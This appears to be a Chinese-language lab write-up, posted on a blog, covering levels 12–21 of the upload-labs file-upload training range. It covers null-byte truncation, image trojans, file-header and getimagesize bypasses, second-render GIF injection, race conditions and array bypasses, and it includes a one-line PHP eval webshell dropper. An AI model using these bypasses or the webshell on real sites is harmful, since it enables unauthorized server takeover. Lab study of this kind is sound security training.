PHP版本为5.5.9nts版本
第十二关白名单校验(GET 型 0x00 截断)
漏洞描述:使用白名单限制上传文件类型,但上传文件的存放路径可控利用方法:设置上传路径为 upload/phpinfo.php%00 ,添加 phpinfo.php%00 内
容为了控制路径,上传文件后缀为白名单即可 例:test.jpg,保存后为
/upload/phpinfo.php%00test.jpg,但服务端读取到%00 时会自动结束,将文件
内容保存至 phpinfo.php 中
PS:需要 php 的版本号低于 5.3.29,且 magic_quotes_gpc 为关闭状态
先看提示
查看源码
由此可见是白名单,按照文件名进行处理
还将上传的文件保存到了save_path
然后接下来抓包
文件名截断
截断字符: chr(0) 类似于C++的"\0"
filename=1.php%00.txt —— filenam=1.php
URL encode → ASCLL value
%00 → 0
phpstudy切换一下版本,把magic_quotes_gpc关闭,以phpstudy为例。
其他选项菜单---php扩展及设置---参数开关设置---把magic_quotes_gpc关闭。
上传成功
访问成功
第十三关(POST 型 0x00 截断)
漏洞描述:漏洞描述:使用白名单限制上传文件类型,但上传文件的存放路径可控,但因为是 POST 型,需要在 16 进制中修改,因为 POST 不会像 GET 那样对%00 进行自动解码。
同样进行抓包
文件保存路径不再是出现在url中而是把保存路径和文件名称都写在了Content-Disposition
原本十二关中保存路径存在url中,是url编码,而我们现在需要一个十六进制的截断字符
先要写一个➕ 占一下位
然后点击Hex +在里面的编码是2b
然后将2b改为00
上传成功
访问成功
第十四关文件内容检测(文件头校验)
先看提示
漏洞描述:通过读文件的前 2 个字节,检测上传文件二进制的头信息,判断文
件类型,利用图片马绕过检测。
利用方法:图片马制作
可搜索常见文件头标识
在 cmd 里执行 copy logo.jpg/b+test.php/a test.jpg
logo.jpg 为任意图片
test.php 为我们要插入的木马代码
test.jpg 为我们要创建的图片马
名字可任意
notepad打开后前面的jpg内容还在,而且php代码也仍然存在.
上传成功
但是连接并不能起作用
include函数没有任何过滤,只有get的请求
我们的图片内含敏感PHP语句。所以被包含进来之后被服务器当成PHP进行解析,加之我们的图片内部本身就存在PHP代码。故引发了这样的安全隐患问题。
有bug include大部分 时候只能包含本地文件
./本目录 ../上一目录
第十五关文件内容检测 (getimagesize()校验)
getimagesize()
getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。
语法:
array getimagesize( string filename )
例子:
<?php
$array = getimagesize("images/flower_1.jpg");
print_r($array);
?>
浏览器显示如下:
Array
(
[0] => 350
[1] => 318
[2] => 2
[3] => width="350" height="318"
[bits] => 8
[channels] => 3
[mime] => image/jpeg
)
返回结果说明
索引 0 给出的是图像宽度的像素值
索引 1 给出的是图像高度的像素值
索引 2 给出的是图像的类型,返回的是数字,其中1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM
索引 3 给出的是一个宽度和高度的字符串,可以直接用于 HTML 的 <image> 标签
索引 bits 给出的是图像的每种颜色的位数,二进制格式
索引 channels 给出的是图像的通道值,RGB 图像默认是 3
索引 mime 给出的是图像的 MIME 信息,此信息可以用来在 HTTP Content-type 头信息中发送正确的信息,如:
header("Content-type: image/jpeg");
十六关文件内容检测 (exif_imagetype()绕过)
关于这个exif_imagetype()函数
第16关同14,15关思路一样,操作一样。但是需要打开php_exif,
phpstudy的其他选项菜单---打开配置文件---php-ini
重启phpstudy即可
(2)预定义高度宽度:
例 .htaccess 文件
文件内容
#define width 1337
#define height 1337
文件内容---
(3)利用 x00x00x8ax39x8ax39 文件头x00x00x8ax30x8ax39 是 wbmp 文件的文件头,但 0x00 在.htaccess 文件中为是注释符,
不会影响文件本身。使用十六进制编辑器或者 python 的 bytes 字符类型(b’’)来进行
添加。
payload:shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00" + '文件内容'
第十七关文件内容检测(二次渲染)
basename($filename);
// 获得上传文件的扩展名
imagecreatefrompng($target_path)
//由文件或URL创建一个新图像
漏洞描述:综合判断了后缀名、content-type,以及利用 imagecreatefromgif
判断是否为 gif 图片,并在最后对文件内容进行了二次渲染,修改文件内容
绕过方法:上传一个 GIF 图片马,然后将其下载下来,查看其十六进制的文件内容,
找到二次渲染后不变的地方,而这个地方就是可以插入一句话的地方
这里要用到特殊的这个图片
才能达到渲染前后有不变的情况
在未修改的位置加入一句话木马
然后蚁剑连接就可以了
这里有个图
第十八关逻辑漏洞(条件竞争)
上传的php内容为
<?php
fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"]) ?>');
?>
疯狂(Burp or Python)上传与访问致使这个文件成功使用,从而产生一个shell.php
上传的文件判断后仍会被删除,但是新创建的shell.php并不会被判断而删除
上传文件后抓包
这里可以修改文件的内容
发送到Intruder中设置空载
然后根据路径(上传正常图片)中改为1.php
和上一个一样,但尽可能设多些
不断访问后再用蚁剑连接我们打算建立的webshell.php
第十九关逻辑漏洞(条件竞争-图片马)
漏洞描述:后缀名做了白名单判断,然后会一步一步检查文件大小、文件是否
存在等等,将文件上传后,对文件重新命名,同样存在条件竞争的漏洞。可以
不断利用 burp 发送上传图片马的数据包,由于条件竞争,程序会出现来不及
rename 的问题,从而上传成功
利用方法:区别于 Pass-18,这里需要使用图片马
第二十关逻辑漏洞(小数点绕过)
move_uploaded_file() 特性 /.在对比黑名单的时候会忽略
上传成功
正常访问
第二十一关逻辑漏洞(数组绕过)
如果不是数组就用,分割一下
end() 函数将数组内部指针指向最后一个元素,并返回该元素的值(如果成功)。
reset()函数是数组内部指针指向第一个,并返回该元素的值(如果成功)。
先抓包构造数组
首先要改掉MIME类型绕过第一步白名单
file_name改成jpg过白名单
save_name要做成一个数组,而且数组的最后一个值是jpg等
标签:文件,12,21,upload,jpg,漏洞,白名单,php,上传 From: https://www.cnblogs.com/vaneshadow/p/17428797.html